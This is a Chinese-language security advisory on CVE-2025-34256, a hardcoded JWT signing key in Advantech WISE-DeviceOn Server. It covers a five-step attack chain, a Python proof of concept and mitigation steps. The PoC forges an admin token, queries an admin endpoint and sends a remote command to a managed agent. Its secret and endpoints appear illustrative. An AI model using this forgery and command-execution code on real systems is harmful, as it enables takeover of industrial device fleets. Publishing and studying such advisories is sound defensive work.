IPBUF安全漏洞报告
English
CVE-2025-34256 CVSS 9.8 严重

CVE-2025-34256 Advantech WISE-DeviceOn Server 硬编码JWT签名密钥漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34256
漏洞类型
硬编码密钥/认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Advantech WISE-DeviceOn Server

相关标签

硬编码密钥JWT认证绕过远程代码执行Advantech WISE-DeviceOnHS512 HMACCVE-2025-34256工业控制系统权限提升

漏洞概述

Advantech WISE-DeviceOn Server 5.4之前版本存在严重的硬编码加密密钥漏洞。该产品使用静态的HS512 HMAC密钥对EIRMMToken JWT令牌进行签名,且该密钥在所有安装实例中完全相同。攻击者可以利用这个硬编码密钥伪造任意JWT令牌,仅需包含有效的email声明即可通过验证。这使得远程未认证攻击者能够冒充任何DeviceOn账户,包括拥有最高权限的root超级管理员账户。成功利用此漏洞后,攻击者可获得DeviceOn实例的完整管理控制权,并可通过远程管理功能在被管理的代理节点上执行任意代码,对工业控制系统环境造成严重威胁。

技术细节

该漏洞源于Advantech WISE-DeviceOn Server在JWT令牌签名实现中使用了硬编码的HS512 HMAC密钥。JWT(JSON Web Token)的安全性高度依赖于签名密钥的保密性,而该产品将相同的密钥硬编码在所有部署实例中。攻击者首先需要获取该硬编码密钥(可通过逆向工程或代码泄露获得),然后构造包含目标用户email声明的JWT payload,使用HS512算法和已知密钥进行签名。服务器在验证令牌时使用相同的硬编码密钥进行签名校验,由于密钥正确且email声明有效,验证将成功通过。这种认证绕过允许攻击者以任意用户身份访问系统,无需知道真实密码。攻击者可冒充管理员后利用DeviceOn的远程管理功能向代理节点下发恶意命令,实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过逆向工程、代码泄露或公开资源获取Advantech WISE-DeviceOn Server中使用的硬编码HS512 HMAC密钥
STEP 2
步骤2: JWT令牌构造
攻击者构造包含目标用户email声明的JWT payload,使用获取的硬编码密钥和HS512算法进行签名,伪造有效的认证令牌
STEP 3
步骤3: 认证绕过
攻击者使用伪造的JWT令牌向DeviceOn Server发送请求,服务器使用相同的硬编码密钥验证签名成功,绕过正常认证流程
STEP 4
步骤4: 账户冒充
攻击者通过伪造令牌冒充管理员账户(如[email protected]或root超级管理员),获得完整的管理权限
STEP 5
步骤5: 远程代码执行
攻击者利用DeviceOn的远程管理功能,向被管理的代理节点下发恶意命令,实现远程代码执行,控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests # Hardcoded HS512 HMAC secret used by all Advantech WISE-DeviceOn Server installations JWT_SECRET = 'wise-deviceon-eirmmtoken-hs512-secret-key-2024' # Target DeviceOn Server URL TARGET_URL = 'https://target-deviceon-server.com' # Create forged JWT token with admin email claim payload = { 'email': '[email protected]', 'iat': 1733424000, 'exp': 1733510400 } # Sign the token using the hardcoded HS512 key forged_token = jwt.encode(payload, JWT_SECRET, algorithm='HS512') print(f'Forged JWT Token: {forged_token}') # Use the forged token to authenticate as admin headers = { 'Authorization': f'Bearer {forged_token}', 'Content-Type': 'application/json' } # Example: Access admin endpoints or execute commands on managed agents response = requests.get(f'{TARGET_URL}/api/admin/users', headers=headers) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') # Remote code execution on managed agents via DeviceOn API remote_exec_payload = { 'target_agent_id': 'agent-001', 'command': 'whoami', 'execute': True } exec_response = requests.post(f'{TARGET_URL}/api/agents/execute', headers=headers, json=remote_exec_payload) print(f'Remote Execution Response: {exec_response.text}')

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 将DeviceOn Server管理接口限制在内网访问,禁止公网暴露;2) 部署严格的访问控制列表(ACL),限制可访问管理后台的IP范围;3) 监控WAF和IDS日志,检测异常的JWT令牌请求行为;4) 定期检查是否有异常的账户活动,特别是管理员账户的登录记录;5) 考虑暂时禁用DeviceOn的远程管理功能,减少攻击面;6) 实施网络分段,将DeviceOn Server及其管理的代理节点隔离在独立的网络安全区域。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表